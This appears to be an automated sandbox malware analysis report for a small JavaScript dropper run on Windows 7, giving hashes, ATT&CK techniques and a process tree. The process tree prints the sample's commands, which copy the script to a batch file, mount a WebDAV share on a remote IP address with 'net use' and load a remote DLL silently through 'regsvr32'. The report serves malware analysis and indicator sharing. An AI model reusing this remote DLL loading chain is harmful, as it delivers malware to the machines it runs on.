395c600ca54aad30f925b325fe33be5024a999ab8376200c97b3317e04086bb0

Analysis

max time kernel
13s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
09-07-2024 07:09

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General

Target

11968454993703809.js
Size

5KB
MD5

d9ca7d80421eb6e9efda80167fb2f2bd
SHA1

524b53c8009c870179d3702f90e9de09c1c09e3e
SHA256

2fdda290b9f0d494c3f1f3e3491a28361a3406df3de9ecbc10c594fe798bc1cb
SHA512

54e821568e083d658cd5e9e923c350a8feb70e0ab5d901a10f18c34471f8ebce2470c3307d114eeaec3698ae9d2e5a59f971baded91337b29cfcac3d826570b4
SSDEEP

96:lSHx+pj5vecNDhNd6SctXAarD04BrZ3+TrODXDrZ68vVNk1Q:lSH4jdechhNd6Sctwar44BrZ3+TrODXr

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1748	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 2164	2296	wscript.exe	29
PID 2296 wrote to memory of 2164	2296	wscript.exe	29
PID 2296 wrote to memory of 2164	2296	wscript.exe	29
PID 2164 wrote to memory of 1968	2164	cmd.exe	31
PID 2164 wrote to memory of 1968	2164	cmd.exe	31
PID 2164 wrote to memory of 1968	2164	cmd.exe	31
PID 2164 wrote to memory of 1748	2164	cmd.exe	32
PID 2164 wrote to memory of 1748	2164	cmd.exe	32
PID 2164 wrote to memory of 1748	2164	cmd.exe	32
PID 2164 wrote to memory of 1748	2164	cmd.exe	32
PID 2164 wrote to memory of 1748	2164	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\11968454993703809.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\11968454993703809.js" "C:\Users\Admin\\bnzuie.bat" && "C:\Users\Admin\\bnzuie.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1968
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\74.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\bnzuie.bat

Filesize
5KB

MD5
d9ca7d80421eb6e9efda80167fb2f2bd

SHA1
524b53c8009c870179d3702f90e9de09c1c09e3e

SHA256
2fdda290b9f0d494c3f1f3e3491a28361a3406df3de9ecbc10c594fe798bc1cb

SHA512
54e821568e083d658cd5e9e923c350a8feb70e0ab5d901a10f18c34471f8ebce2470c3307d114eeaec3698ae9d2e5a59f971baded91337b29cfcac3d826570b4

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